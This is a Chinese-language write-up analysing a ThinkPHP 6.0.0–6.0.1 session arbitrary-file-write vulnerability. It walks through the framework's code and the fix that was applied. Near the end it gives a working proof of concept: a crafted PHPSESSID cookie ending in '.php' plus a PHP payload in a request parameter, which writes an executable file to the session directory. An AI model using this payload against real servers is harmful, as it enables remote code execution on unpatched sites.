ThinkPHP6 任意文件操作漏洞分析

ThinkPHP6 任意文件操作漏洞分析

利用条件

  1. ThinkPHP6.0.0-6.0.1
  2. 开启Sessoin中间件

漏洞复现

官方commit: https://github.com/top-think/framework/commit/1bbe75019ce6c8e0101a6ef73706217e406439f2

复现环境为:phpstudy+thinkphp6.0.1

\app\controller\index.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
namespace app\controller;

use app\BaseController;
use think\facade\Session;
class Index extends BaseController
{
public function index($name)
{
Session::set('name', $name);
return 'hello,' . Session::get('name');;
}

}

\app\middleware.php

1
2
3
4
5
6
7
8
9
10
<?php
// 全局中间件定义文件
return [
// 全局请求缓存
// \think\middleware\CheckRequestCache::class,
// 多语言加载
// \think\middleware\LoadLangPack::class,
// Session初始化
\think\middleware\SessionInit::class
];

根据漏洞的信息(任意文件操作),我们从vendor\topthink\framework\src\think\session\Store.phpsave函数开始进行分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public function save(): void
{
$this->clearFlashData();//清除原来的数据

$sessionId = $this->getId();

if (!empty($this->data)) {
$data = $this->serialize($this->data);

$this->handler->write($sessionId, $data);
} else {
$this->handler->delete($sessionId);
}

$this->init = false;
}

跟进$this->handler->write方法看一下

1
2
3
4
5
6
7
8
9
10
11
12
public function write(string $sessID, string $sessData): bool
{
$filename = $this->getFileName($sessID, true);
$data = $sessData;

if ($this->config['data_compress'] && function_exists('gzcompress')) {
//数据压缩
$data = gzcompress($data, 3);
}

return $this->writeFile($filename, $data);
}

再跟进$this->writeFile

1
2
3
4
protected function writeFile($path, $content): bool
{
return (bool) file_put_contents($path, $content, LOCK_EX);
}

因为$data可控,那么我们只要能控制$path我们就可以写shell进去了

$path$this->getFileName($sessID, true);得到

跟进去

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
protected function getFileName(string $name, bool $auto = false): string
{
if ($this->config['prefix']) {
// 使用子目录
$name = $this->config['prefix'] . DIRECTORY_SEPARATOR . 'sess_' . $name;
} else {
$name = 'sess_' . $name;
}

$filename = $this->config['path'] . $name;
$dir = dirname($filename);

if ($auto && !is_dir($dir)) {
try {
mkdir($dir, 0755, true);
} catch (\Exception $e) {
// 创建失败
}
}

return $filename;
}

$filename直接由末端拼接参数$name

write调用getFileName时直接将参数$sessID传入,$sessID$sessionId = $this->getId();获得

1
2
3
4
public function getId(): string
{
return $this->id;
}

$this->id时通过setId()来设置的

1
2
3
4
public function setId($id = null): void
{
$this->id = is_string($id) && strlen($id) === 32 ? $id : md5(microtime(true) . session_create_id());
}

如果is_string($id) && strlen($id) === 32 满足,则直接将$id的值赋给$this->id

查找调用setId的函数

image3070

其中SessionInit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public function handle($request, Closure $next)
{
// Session初始化
$varSessionId = $this->app->config->get('session.var_session_id');
$cookieName = $this->session->getName();

if ($varSessionId && $request->request($varSessionId)) {
$sessionId = $request->request($varSessionId);
} else {
$sessionId = $request->cookie($cookieName);
}

if ($sessionId) {
$this->session->setId($sessionId);
}
}

查找配置发现$sessionId=>$_COOKIE['PHPSESSID']

因此构造payload

1
2
3
4
5
http://127.0.0.1/tp/public/index.php?s=/index/index/&name=%3C?php%20phpinfo();?%3E

Cookie :PHPSESSID=9f7777c08f3909751b148338ba08.php

访问http://127.0.0.1/tp/runtime/session/sess_9f7777c08f3909751b148338ba08.php

补丁分析

1
2
3
4
public function setId($id=null):void
{
$this->id = is_string($id) && strlen($id) === 32 && ctype_alnum($id) ? $id : md5(microtime(true) . session_create_id());
}

setId中增加了对$id的校验:ctype_alnum($id),只允许数字或字母,来避免任意文件操作

参考

https://paper.seebug.org/1114/#_1